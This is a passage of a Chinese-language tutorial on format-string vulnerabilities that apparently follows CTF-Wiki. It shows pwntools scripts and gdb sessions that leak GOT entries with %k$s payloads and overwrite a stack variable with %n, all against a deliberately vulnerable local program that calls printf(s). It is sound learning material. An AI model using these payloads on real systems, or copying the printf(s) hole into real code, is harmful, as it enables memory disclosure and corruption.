  • 利用%orderx來獲取指定參數(shù)的值,利用x來獲取指定參數(shù)的值,利用%orderx數(shù)s來獲取指定參數(shù)對應(yīng)地址的內(nèi)容。
  • 泄露任意地址內(nèi)存

    可以看出,在上面無論是泄露棧上連續(xù)的變量,還是說泄露指定的變量值,我們都沒能完全控制我們所要泄露的變量的地址。這樣的泄露固然有用,可是卻不夠強(qiáng)力有效。有時(shí)候,我們可能會想要泄露某一個(gè) libc 函數(shù)的 got 表內(nèi)容,從而得到其地址,進(jìn)而獲取 libc 版本以及其他函數(shù)的地址,這時(shí)候,能夠完全控制泄露某個(gè)指定地址的內(nèi)存就顯得很重要了。那么我們究竟能不能這樣做呢?自然也是可以的啦。

    我們再仔細(xì)回想一下,一般來說,在格式化字符串漏洞中,我們所讀取的格式化字符串在棧上的(因?yàn)槭悄硞€(gè)函數(shù)的局部變量,本例中s是main函數(shù)的局部變量)。那么也就是說,在調(diào)用輸出函數(shù)的時(shí)候,其實(shí),**第一個(gè)參數(shù)的值其實(shí)就是該格式化字符串的地址。**我們選擇上面的某個(gè)函數(shù)調(diào)用為例

    Breakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2

    可以看出在棧上的第二個(gè)變量就是我們的格式化字符串地址0xffffd008,同時(shí)該地址存儲的也確實(shí)是"%s"格式化字符串內(nèi)容。

    那么由于我們可以控制該格式化字符串,如果我們知道該格式化字符串在輸出函數(shù)調(diào)用時(shí)是第幾個(gè)參數(shù),這里假設(shè)該格式化字符串相對函數(shù)調(diào)用為第 k 個(gè)參數(shù)。那我們就可以通過如下的方式來獲取某個(gè)指定地址 addr 的內(nèi)容。

    addr%k$s

    注:在這里,如果格式化字符串在棧上,那么我們就一定能確定格式化字符串的相對偏移,這是因?yàn)樵诤瘮?shù)調(diào)用的時(shí)候棧指針至少地域格式化字符串地址8字節(jié)或者16字節(jié)。

    下面就是如何確定該格式化字符串為第幾個(gè)參數(shù)的問題了,我們可以通過如下方式確定

    [tag]%p%p%p%p...

    一般來說,我們會重復(fù)某個(gè)字符的機(jī)器字長來作為tag,而后面會跟上若干個(gè)%p來輸出棧上的內(nèi)容,如果內(nèi)容與我們前面的tag重復(fù)了,那么我們就可以有很大把握說明該地址就是格式化字符串的地址,之所以說是有很大把握,這是因?yàn)椴慌懦龡I嫌幸恍┡R時(shí)變量也是該數(shù)值。一般情況下,極其少見,我們也可以更換其它字符進(jìn)行嘗試,進(jìn)行再次確認(rèn)。這里我們利用字符’A’作為特定字符,同時(shí)還是利用之前編譯好的程序,如下

    devil@ubuntu:~$ ./leakmemory AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p 00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0xff9e92880xf7f959180xf0b5ff0xff9e92ae0x10xc20x10x222222220xffffffff0x414141410x702570250x702570250x702570250x702570250x70257025

    這里0x414141處所在的位置可以看出我們的格式化字符串的起始地址正好是輸出函數(shù)的第11個(gè)參數(shù),也是格式化字符串的第10個(gè)參數(shù)。(此處和CTF-Wiki上有出入)我們可以來測試一下

    devil@ubuntu:~$ ./leakmemory %10$s 00000001.22222222.ffffffff.%10$s Segmentation fault (core dumped)

    可以看出,我們的程序崩潰了,為什么呢?這是因?yàn)槲覀冊噲D將該格式化字符串所對應(yīng)的值作為地址進(jìn)行解析,但是顯然該值沒有辦法作為一個(gè)合法的地址被解析,所以程序就崩潰了。具體的可以參考下面的調(diào)試。

    devil@ubuntu:~$ gdb leakmemory gef? r Starting program: /home/devil/leakmemory %10$s 00000001.22222222.ffffffff.%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:51 51 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x24303125 ("%10$"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x1 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795cf → <__strlen_ia32+15> cmp BYTE PTR [eax], dh $eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: "%10$" 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795c8 <__strlen_ia32+8> add BYTE PTR [ecx], ah0xf7e795ca <__strlen_ia32+10> ret 0x24740xf7e795cd <__strlen_ia32+13> jp 0xf7e795e6 <__strlen_ia32+38>→ 0xf7e795cf <__strlen_ia32+15> cmp BYTE PTR [eax], dh0xf7e795d1 <__strlen_ia32+17> je 0xf7e79676 <__strlen_ia32+182>0xf7e795d7 <__strlen_ia32+23> inc eax0xf7e795d8 <__strlen_ia32+24> cmp BYTE PTR [eax], dh0xf7e795da <__strlen_ia32+26> je 0xf7e79676 <__strlen_ia32+182>0xf7e795e0 <__strlen_ia32+32> inc eax ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795cf in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795cf → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x0, nspecs_done=0x0, lead_str_end=0xffffd008 "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "%10$s") [#4] 0x804852c → main()gef? help x/ Examine memory: x/FMT ADDRESS. ADDRESS is an expression for the memory address to examine. FMT is a repeat count followed by a format letter and a size letter. Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),t(binary), f(float), a(address), i(instruction), c(char), s(string)and z(hex, zero padded on the left). Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes). The specified number of objects of the specified size are printed according to the format.Defaults for format and size letters are those previously used. Default count is 1. Default address is following last thing printed with this command or "print". gef? x/x 0xffffd008 0xffffd008: 0x24303125gef? vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /home/devil/leakmemory 0x08049000 0x0804a000 0x00000000 r-- /home/devil/leakmemory 0x0804a000 0x0804b000 0x00001000 rw- /home/devil/leakmemory 0x0804b000 0x0806c000 0x00000000 rw- [heap] 0xf7e03000 0xf7e04000 0x00000000 rw- 0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fb4000 0xf7fb6000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb6000 0xf7fb7000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so 0xf7fb7000 0xf7fba000 0x00000000 rw- 0xf7fd3000 0xf7fd4000 0x00000000 rw- 0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rw- [stack]gef? x/x 0x24303125 0x24303125: Cannot access memory at address 0x24303125

    顯然0xffffd008處所對應(yīng)的格式化字符串所對應(yīng)的變量值0x24303125并不能夠被該程序訪問,所以程序自然就崩潰了。

    那么如果我們設(shè)置一個(gè)可以訪問的地址呢?比如說scanf@got,結(jié)果會怎么樣呢?應(yīng)該自然是輸出scanf對應(yīng)的地址了。我們不妨來試一下。

    首先,獲取scanf@got的地址,如下

    gef? got/home/devil/leakmemory: file format elf32-i386DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 0804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a018 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

    下面我們利用pwntools構(gòu)造payload如下

    from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') __isoc99_scanf_got = elf.got['__isoc99_scanf'] print(hex(__isoc99_scanf_got)) payload = p32(__isoc99_scanf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) #remove the first bytes of __isoc99_scanf@got sh.interactive()

    其實(shí),我們使用gdb.attach(sh)來進(jìn)行調(diào)試。當(dāng)我們運(yùn)行到第二個(gè)printf函數(shù)的時(shí)候(要在調(diào)試窗口用 "b printf"命令給printf函數(shù)下斷點(diǎn)),可以看到我們的第四個(gè)參數(shù)(stack上第一個(gè)地址是返回地址,第二個(gè)是格式化字符串地址,之后依次為第一…四個(gè)參數(shù))確實(shí)指向我們的scanf的地址,這里輸出

    gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f1d87c → 0x00000000 $esp : 0xff8ccb9c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xff8ccc48 → 0x00000000 $esi : 0xf7f1c000 → 0x001b1db0 $edi : 0xf7f1c000 → 0x001b1db0 $eip : 0xf7db3670 → <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff8ccb9c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xff8ccba0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xff8ccba4│+0x0008: 0x00000001 0xff8ccba8│+0x000c: 0x22222222 0xff8ccbac│+0x0010: 0xffffffff 0xff8ccbb0│+0x0014: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb4│+0x0018: 0xff8ccbd8 → 0x0804a018 → 0xf7dc60c0 → <__isoc99_scanf+0> push ebp 0xff8ccbb8│+0x001c: 0xf7f63918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7db3667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7db366d nop 0xf7db366e xchg ax, ax→ 0xf7db3670 <printf+0> call 0xf7e89b59 <__x86.get_pc_thunk.ax>? 0xf7e89b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e89b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e89b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e89b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e89b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e89b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7db3670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7db3670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

    同時(shí),在我們運(yùn)行的terminal下

    devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2673 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a018 \x18\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2673 -x "/tmp/pwnqnvV9v.gdb" [+] Waiting for debugger: Done 0xf7dc60c0 [*] Switching to interactive mode [*] Process './leakmemory' stopped with exit code 0 (pid 2673) [*] Got EOF while reading in interactive $

    我們確實(shí)得到了scanf的地址。

    Wiki上這里是用scanf舉例說明的,并且表示之所以沒有使用printf函數(shù),是因?yàn)閜rintf函數(shù)會對0a,0b,0c,00等字符有一些奇怪的處理,導(dǎo)致無法正常讀入。

    所以我就嘗試了一下泄露printf函數(shù)的地址。

    構(gòu)造payload如下

    from pwn import * sh = process('./leakmemory') elf = ELF('./leakmemory') printf_got = elf.got['printf'] print(hex(printf_got)) payload = p32(printf_got)+'%10$s' print(payload) gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%10$s\n') print(hex(u32(sh.recv()[4:8]))) sh.interactive()

    terminal運(yùn)行結(jié)果如下

    devil@ubuntu:~$ python exp.py [+] Starting local process './leakmemory': pid 2747 [*] '/home/devil/leakmemory'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000) 0x804a00c \x0c\x04%10$s [*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 2747 -x "/tmp/pwn71yrFD.gdb" [+] Waiting for debugger: Done Traceback (most recent call last):File "exp.py", line 11, in <module>print(hex(u32(sh.recv()[4:8])))File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 82, in recvreturn self._recv(numb, timeout) or b''File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 160, in _recvif not self.buffer and not self._fillbuffer(timeout):File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbufferdata = self.recv_raw(self.buffer.get_fill_size())File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 707, in recv_rawraise EOFError EOFError [*] Process './leakmemory' stopped with exit code -11 (SIGSEGV) (pid 2747)

    棧上的值如下

    gef? c Continuing.Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffc82d58 → 0x250804a0 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7eca87c → 0x00000000 $esp : 0xffc82d1c → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffc82dc8 → 0x00000000 $esi : 0xf7ec9000 → 0x001b1db0 $edi : 0xf7ec9000 → 0x001b1db0 $eip : 0xf7d60670 → <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffc82d1c│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffc82d20│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffc82d24│+0x0008: 0x00000001 0xffc82d28│+0x000c: 0x22222222 0xffc82d2c│+0x0010: 0xffffffff 0xffc82d30│+0x0014: 0xffc82d58 → 0x250804a0 0xffc82d34│+0x0018: 0xffc82d58 → 0x250804a0 0xffc82d38│+0x001c: 0xf7f10918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7d60667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7d6066d nop 0xf7d6066e xchg ax, ax→ 0xf7d60670 <printf+0> call 0xf7e36b59 <__x86.get_pc_thunk.ax>? 0xf7e36b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7e36b5c <__x86.get_pc_thunk.ax+3> ret 0xf7e36b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7e36b60 <__x86.get_pc_thunk.dx+3> ret 0xf7e36b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7e36b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7d60670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7d60670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

    可見程序并沒有如同預(yù)期一樣輸出printf的地址。

    有時(shí)候,我們需要對我們輸入的格式化字符串進(jìn)行填充,來使得我們想要打印的地址內(nèi)容位于機(jī)器字長整數(shù)倍的地址處,一般來說,類似于下面的這個(gè)樣子。

    [padding][addr]

    注意

    我們在gef中使用got命令的時(shí)候,已經(jīng)打印出了printf的got地址

    0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0

    但是我們不能直接在命令行輸入\x0c\xa0\x04\x08%4$s 這是因?yàn)殡m然前面的確實(shí)是printf@got的地址,但是,scanf函數(shù)并不會將其識別為對應(yīng)的字符串,而是會將,x,0,c分別作為一個(gè)字符進(jìn)行讀入。下面就是錯(cuò)誤的例子。

    gef? r Starting program: /home/devil/leakmemory \\x0c\\xa0\\x04\\x08%10$s 00000001.22222222.ffffffff.\\x0c\\xa0\\x04\\x08%10$sProgram received signal SIGSEGV, Segmentation fault. __strlen_ia32 () at ../sysdeps/i386/i686/multiarch/../../i586/strlen.S:94 94 ../sysdeps/i386/i686/multiarch/../../i586/strlen.S: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0x30785c5c ("\\x0"?) $ebx : 0x0 $ecx : 0xf7fb6000 → 0x001b1db0 $edx : 0x0 $esp : 0xffffc4ec → 0xf7e45977 → <printf_positional+7575> add esp, 0x10 $ebp : 0xffffca98 → 0xffffcfb8 → 0xffffd078 → 0x00000000 $esi : 0xffffc680 → 0xffffffff $edi : 0xf7fb6d60 → 0xfbad2a84 $eip : 0xf7e795f1 → <__strlen_ia32+49> mov ecx, DWORD PTR [eax] $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffc4ec│+0x0000: 0xf7e45977 → <printf_positional+7575> add esp, 0x10 ← $esp 0xffffc4f0│+0x0004: 0x30785c5c ("\x0"?) 0xffffc4f4│+0x0008: 0x00000000 0xffffc4f8│+0x000c: 0x00000028 ("("?) 0xffffc4fc│+0x0010: 0x00000000 0xffffc500│+0x0014: 0xffffd008 → "\x0c\xa0\x04\x08%10$s" 0xffffc504│+0x0018: 0x00000000 0xffffc508│+0x001c: 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e795e7 <__strlen_ia32+39> xor BYTE PTR [edi], cl0xf7e795e9 <__strlen_ia32+41> test BYTE PTR [eax+0x40000000], cl0xf7e795ef <__strlen_ia32+47> xor edx, edx→ 0xf7e795f1 <__strlen_ia32+49> mov ecx, DWORD PTR [eax]0xf7e795f3 <__strlen_ia32+51> add eax, 0x40xf7e795f6 <__strlen_ia32+54> sub edx, ecx0xf7e795f8 <__strlen_ia32+56> add ecx, 0xfefefeff0xf7e795fe <__strlen_ia32+62> dec edx0xf7e795ff <__strlen_ia32+63> jae 0xf7e79659 <__strlen_ia32+153> ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e795f1 in __strlen_ia32 (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e795f1 → __strlen_ia32() [#1] 0xf7e45977 → printf_positional(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s", readonly_format=0x0, ap=<optimized out>, ap_savep=0xffffcb7c, done=0x14, nspecs_done=0x0, lead_str_end=0xffffd01c "%10$s", work_buffer=0xffffcbb8 "@\001", save_errno=0x0, grouping=0x0, thousands_sep=0xf7f5f7d2 "") [#2] 0xf7e46401 → _IO_vfprintf_internal(s=0xf7fb6d60 <_IO_2_1_stdout_>, format=<optimized out>, ap=0xffffcfe4 "\b\320\377\377\030\331\377\367\377\265", <incomplete sequence \360>) [#3] 0xf7e4d696 → __printf(format=0xffffd008 "\\\\x0c\\\\xa0\\\\x04\\\\x08%10$s") [#4] 0x804852c → main() ──────────────────────────────────────────────────────────────────────────────── gef? x/x 0xffffd008 0xffffd008: 0x30785c5c

    覆蓋內(nèi)存

    上面,我們已經(jīng)展示了如何利用格式化字符串來泄露棧內(nèi)存以及任意地址內(nèi)存,那么我們有沒有可能修改棧上變量的值呢,甚至修改任意地址變量的內(nèi)存呢? 答案是可行的,只要變量對應(yīng)的地址可寫,我們就可以利用格式化字符串來修改其對應(yīng)的數(shù)值。這里我們可以想一下格式化字符串中的類型

    %n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫入對應(yīng)的整型指針參數(shù)所指的變量。

    通過這個(gè)類型參數(shù),再加上一些小技巧,我們就可以達(dá)到我們的目的,這里仍然分為兩部分,一部分為覆蓋棧上的變量,第二部分為覆蓋指定地址的變量

    這里我們給出如下的程序來介紹相應(yīng)的部分。

    #include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];scanf("%s", s); #scanf()函數(shù)要放在printf()前面,確保第一次在printf中斷時(shí),程序已經(jīng)讀入格式化字符串printf("%p\n", &c);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }

    這里和wiki上有點(diǎn)區(qū)別,就在于第一個(gè)scanf("%s",s)和printf("%p\n",&c)的順序。wiki上是printf在前,但是我按照他那樣編譯調(diào)試的時(shí)候stack中不能同時(shí)顯示c的地址和格式化字符串的地址,所以我換了一下位置進(jìn)行編譯調(diào)試。但在后面修改c的值的時(shí)候,用此腳本編譯出來的程序在接收c地址的時(shí)候出了點(diǎn)問題。

    編譯成32位程序

    devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c overflow.c: In function ‘main’: overflow.c:9:10: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);^

    無論是覆蓋哪個(gè)地址的變量,我們基本上都是構(gòu)造類似如下的payload

    ...[overwrite addr]....%[overwrite offset]$n

    其中…表示我們的填充內(nèi)容,overwrite addr表示我們所要覆蓋的地址,overwrite offset地址表示我們所要覆蓋的地址存儲的位置為輸出函數(shù)的格式化字符串的第幾個(gè)參數(shù)。所以一般來說,也是如下步驟

    • 確定覆蓋地址
    • 確定相對偏移
    • 進(jìn)行覆蓋

    覆蓋棧內(nèi)存

    確定覆蓋地址

    首先,我們自然是來想辦法知道棧變量 c 的地址。由于目前幾乎上所有的程序都開啟了 aslr 保護(hù),所以棧的地址一直在變,所以我們這里故意輸出了 c 變量的地址。

    確定相對偏移

    其次,我們來確定一下存儲格式化字符串的地址是printf將要輸出的第幾個(gè)參數(shù)()。這里我們通過之前的泄露棧變量數(shù)值的方法來進(jìn)行操作。通過調(diào)試

    devil@ubuntu:~$ gdb overflow gef? b printf Breakpoint 1 at 0x8048340 gef? r Starting program: /home/devil/overflow %d%dBreakpoint 1, __printf (format=0x80485c3 "%p\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd06c → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfec → 0x080484c8 → <main+61> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfec│+0x0000: 0x080484c8 → <main+61> add esp, 0x10 ← $esp 0xffffcff0│+0x0004: 0x080485c3 → "%p\n" 0xffffcff4│+0x0008: 0xffffd06c → 0x00000315 0xffffcff8│+0x000c: 0x000000c2 0xffffcffc│+0x0010: 0xf7e946bb → <handle_intel+107> add esp, 0x10 0xffffd000│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffd004│+0x0018: 0xffffd12c → 0xffffd30a → "XDG_VTNR=7" 0xffffd008│+0x001c: "%d%d" ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485c3 "%p\n") [#1] 0x80484c8 → main()

    可以發(fā)現(xiàn)在0xffffcff4處存儲著變量c的數(shù)值(789==0x315)。繼而,我們再確定格式化字符串’%d%d’的地址0xffffd008相對于printf函數(shù)的格式化字符串參數(shù)0xffffcff0的偏移為0x18,即格式化字符串地址相當(dāng)于printf函數(shù)的第7個(gè)參數(shù)(0xffffcfec是printf函數(shù)的返回地址),相當(dāng)于格式化字符串的第6個(gè)參數(shù)。

    進(jìn)行覆蓋

    這樣,第 6 個(gè)參數(shù)處的值就是存儲變量 c 的地址,我們便可以利用 %n 的特征來修改 c 的值。payload 如下

    [address of c]%012d%6$n

    address of c的長度為4(32位程序),故而我們得再輸入12個(gè)字符才可以達(dá)到16個(gè)字符,以便來修改c的值為16。

    參數(shù)n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫入對應(yīng)的整型指針參數(shù)所指的變量。前面已經(jīng)成果輸出了16個(gè)字符了,所以在這就相當(dāng)于把格式化字符串的第6個(gè)參數(shù)c的值改寫成了16。

    參數(shù)012d:如果width選項(xiàng)前綴以0,則在左側(cè)用0填充直至達(dá)到寬度要求。這里把012d換成’a’*12也可以。

    具體腳本如下

